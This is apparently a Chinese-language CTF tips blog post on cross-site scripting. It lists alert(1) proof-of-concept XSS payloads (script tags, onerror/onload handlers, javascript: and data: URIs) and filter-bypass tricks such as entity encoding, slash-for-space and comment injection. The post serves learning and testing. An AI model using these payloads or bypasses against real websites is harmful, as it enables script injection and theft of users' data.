guest@blog.cmj.tw: ~/posts $

CTF Tips (XSS)


XSS (Cross-site Scripting)

XSS 是一種網站漏洞,可以讓攻擊者在網站上執行 JavaScript 程式碼,進而竊取使用者的資料或是導向惡意網站。 問題通常出現在網站沒有對使用者輸入的資料做過濾,導致使用者輸入的資料被當成 JavaScript 程式碼執行。

簡單判斷是否有 XSS 漏洞的方法是在網站上輸入 <script>alert(1)</script>,如果有跳出視窗就表示有 XSS 漏洞。 另外延伸的方法,包含透過各種方式觸發 JavaScript 程式碼,例如:

  • <script>alert(1)</script>
  • <script>alert`1`</script>
  • <script>eval('alert(1)')</script>
  • <script>eval.call`${'alert(1)'}`</script>
  • <script src=data:text/html,%61%6c%65%72%74(1)>
  • <script>new Function('alert(1)')()</script>
  • <input type="image" src=x onerror="javascript:alert(1);">
  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <a href=javascript:alert(1)>
  • <iframe src=javascript:alert(1)>
  • <iframe onload=alert(1)>

攻擊的方式有很多種、包含反射型 (reflected)、儲存型 (stored)、DOM-based 等等,主要的概念都是一樣的,將 JavaScript 程式碼注入到網站上並網站執行。會發生問題的主要原因是不正確的輸入驗證,導致使用者輸入的資料被當成 JavaScript 程式碼執行。

Bypass Filter

下面例出幾種繞過檢查的方式:

  • 使用 JSFuck
  • 使用 "'
  • 使用 &#62 編碼 <iframe onload="&#97&#108&#101&#114&#116&#40&#49&#41">
  • 使用 / 代替空白 <iframe/onload=alert(1)>
  • 使用 <!-- 註解後續程式碼

Testing

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c
<script>alert(1)</script>
<script src=data:text/html,%61%6c%65%72%74(1)>
<img/src=x/onload=alert(1)>
<!--

Exercises

可以使用下面幾個網站 來練習 XSS 的攻擊方式:

Playground

提供一個 playground 用來測試各種 XSS payload: